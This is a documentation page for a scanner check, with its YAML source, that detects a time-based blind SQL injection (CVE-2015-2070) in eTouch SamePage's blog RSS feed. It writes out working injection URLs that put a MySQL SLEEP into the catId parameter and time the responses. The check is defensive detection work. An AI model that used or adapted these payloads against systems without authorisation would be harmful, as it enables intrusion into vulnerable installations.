eTouch SamePage — 1 vulnerability check

noctis ships 1 vulnerability check for eTouch SamePage, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

eTouch SamePage catId blind SQL injection

CVECVE-2015-2070
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/etouch-samepage/CVE-2015-2070.yaml

eTouch SamePage Enterprise Edition 4.4.0.0.239 and earlier does not sanitise the catId parameter of the /cm/blogrss/feed script, so an unauthenticated user can inject SQL into the query that builds the blog RSS feed.

This check first recognises SamePage from its wiki start page (/cm/newui/wiki/index.jsp, at the web root and under /samepage), then sends a benign feed request twice as a timing baseline and the same request with a MySQL SLEEP injected into catId, for two random delays. The finding is reported only when both delays show up over the baseline, each within its own window, and the longer one takes measurably longer. Only a delay is injected: no data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{p.wiki}}
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{p.b0}}
  6. HTTP(S) request GET {{p.b0}}
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET {{p.b2}}
  9. Parses / computes the next value with a Rhai script
  10. HTTP(S) request GET {{p.b1}}
  11. Parses / computes the next value with a Rhai script
  12. Checks tm.found for ^DELAYED$ → finding QoD 75: Time-based SQLi (MySQL SLEEP) in catId of …/cm/blogrss/feed on a SamePage install: baseline … ms, delay … s … ms, delay … s … ms

References:

Feed source — tests/vulnerabilities/etouch-samepage/CVE-2015-2070.yaml
# eTouch SamePage — blind SQL injection in /cm/blogrss/feed catId (CVE-2015-2070)
#
# SamePage Enterprise Edition <= 4.4.0.0.239 puts the catId parameter of the
# blog RSS feed (/cm/blogrss/feed?entity=mostviewedpost&analyticsType=blog)
# into a SQL statement unescaped, closing a parenthesis around it.
#
# Detection: the product is fingerprinted first (/cm/newui/wiki/index.jsp must
# show ">SamePage" and ">Dashboard<", at / and under /samepage). A benign feed
# request (catId=-1) AND 2345=2345 AND (4924=4924), sent twice, gives the
# timing baseline (the faster of the two); then MySQL SLEEP(n) in an
# uncorrelated derived table, so it waits once whatever the row count, for two
# random delays (n, n + 3, the longer one first). Each must land in its own
# window over the baseline (1 s jitter below, 4 s above) and the longer must
# take >= 2 s more: a WAF that holds every SQL-looking request for a fixed
# time gives no gap and stays clean. If the value reaches k (<= 3) statements
# the delays scale by k. The injection is OR-ed in, so the sleep runs even when
# no category matches -1; the statement stays a read-only SELECT.
#
# Differences from the reference check: SLEEP in a derived table instead of
# BENCHMARK (CPU-bound, so its duration depends on the target's speed and it
# needed fixed 15M/25M iteration counts), random delays, a baseline, and the
# gap/window rules above.
#
# Source: OpenVAS/Greenbone NASL 2015/gb_etouch_samepage_catid_sql_inj_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.805152, GPL-2.0-only).
uid: edf09189-feba-4df3-aa8b-04347d7cda75
name: "eTouch SamePage catId blind SQL injection (CVE-2015-2070)"
description: |
  eTouch SamePage Enterprise Edition 4.4.0.0.239 and earlier does not sanitise
  the catId parameter of the /cm/blogrss/feed script, so an unauthenticated
  user can inject SQL into the query that builds the blog RSS feed.

  This check first recognises SamePage from its wiki start page
  (/cm/newui/wiki/index.jsp, at the web root and under /samepage), then sends
  a benign feed request twice as a timing baseline and the same request with a
  MySQL SLEEP injected into catId, for two random delays. The finding is
  reported only when both delays show up over the baseline, each within its own
  window, and the longer one takes measurably longer. Only a delay is
  injected: no data is read and nothing is written.
cves: [CVE-2015-2070]
cvss: 7.5
severity: high
confidence_base: 0.35
category: sqli
tags: [etouch, samepage, sqli, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-2070"
  - "OpenVAS/Greenbone NASL 2015/gb_etouch_samepage_catid_sql_inj_vuln.nasl (GPL-2.0-only)"

steps:
  - id: gen-delays
    action: script
    code: |
      let s1 = rand_int(4, 5);
      #{ s1: s1, s2: s1 + 3 }
    store_as: sc

  # Pre-initialise every stored result a script reads: a failed request leaves
  # store_as unset and an undefined var would abort the whole test.
  - id: init-fp
    action: set_var
    var_name: fp_resp
    var_value: {status: 0, body: "", duration_ms: 0}
    loop:
      over: ["root", "samepage"]
      var: dir

  - id: init-base
    action: set_var
    var_name: base_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-base2
    action: set_var
    var_name: base_resp2
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-long
    action: set_var
    var_name: long_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-short
    action: set_var
    var_name: short_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: build
    action: script
    code: |
      let pre = if dir == "samepage" { "/samepage" } else { "" };
      let feed = pre + "/cm/blogrss/feed?entity=mostviewedpost&analyticsType=blog&catId=";
      let tail = "&count=10&et_cw=850&et_ch=600";
      let b0 = feed + "-1)%20AND%202345=2345%20AND%20(4924=4924" + tail;
      let b1 = feed + "-1)%20OR%202345=(SELECT%202345%20FROM%20(SELECT(SLEEP(" + sc.s1 + ")))a)%20AND%20(4924=4924" + tail;
      let b2 = feed + "-1)%20OR%202345=(SELECT%202345%20FROM%20(SELECT(SLEEP(" + sc.s2 + ")))a)%20AND%20(4924=4924" + tail;
      #{ wiki: pre + "/cm/newui/wiki/index.jsp", b0: b0, b1: b1, b2: b2, pre: pre }
    store_as: p

  - id: fingerprint
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{p.wiki}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 15
    store_as: fp_resp

  - id: check-fp
    action: script
    code: |
      let ok = fp_resp.status == 200 && type_of(fp_resp.body) == "string"
        && stridx(fp_resp.body, ">SamePage") >= 0 && stridx(fp_resp.body, ">Dashboard<") >= 0;
      #{ ok: ok }
    store_as: fpc

  - id: baseline
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{p.b0}}"
    condition: "fpc.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: base_resp

  # Sent twice; the faster one is the baseline, so a slow first hit (JSP
  # compile / cold cache) does not eat into the delay windows.
  - id: baseline-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{p.b0}}"
    condition: "fpc.ok && base_resp.status > 0"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: base_resp2

  - id: check-baseline
    action: script
    code: |
      let base = base_resp.duration_ms;
      if base_resp2.status > 0 && base_resp2.duration_ms < base { base = base_resp2.duration_ms; }
      let ok = fpc.ok && base_resp.status > 0 && base_resp.status != 404 && base < 8000;
      #{ ok: ok, base: base }
    store_as: bl

  # Longer delay first: a WAF that holds each successive request longer then
  # fails its own window.
  - id: sleep-long
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{p.b2}}"
    condition: "bl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 35
    store_as: long_resp

  # k = how many statements the value reached (1..3), from the long delay.
  - id: check-long
    action: script
    code: |
      let d2 = long_resp.duration_ms - bl.base;
      let ms2 = sc.s2 * 1000;
      let k = (d2 + ms2 / 2) / ms2;
      if k < 1 { k = 1; }
      if k > 3 { k = 3; }
      let ok = bl.ok && long_resp.status > 0 && d2 >= k * ms2 - 1000 && d2 <= k * ms2 + 4000;
      #{ ok: ok, k: k, d2: d2 }
    store_as: w2

  - id: sleep-short
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{p.b1}}"
    condition: "w2.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 35
    store_as: short_resp

  # Short delay in its own window, and the long one >= 2 s longer (a constant
  # tarpit gives no gap).
  - id: check-short
    action: script
    code: |
      let d1 = short_resp.duration_ms - bl.base;
      let ms1 = w2.k * sc.s1 * 1000;
      let w1 = d1 >= ms1 - 1000 && d1 <= ms1 + 4000;
      let hit = w2.ok && short_resp.status > 0 && w1 && (w2.d2 - d1) >= 2000;
      #{ hit: hit, found: if hit { "DELAYED" } else { "" } }
    store_as: tm

  - id: report
    action: match
    source: tm.found
    pattern: "^DELAYED$"
    condition: "tm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Time-based SQLi (MySQL SLEEP) in catId of {{p.pre}}/cm/blogrss/feed on a SamePage install: baseline {{bl.base}} ms, delay {{sc.s2}} s {{long_resp.duration_ms}} ms, delay {{sc.s1}} s {{short_resp.duration_ms}} ms"
      stop: true

View these feeds on GitHub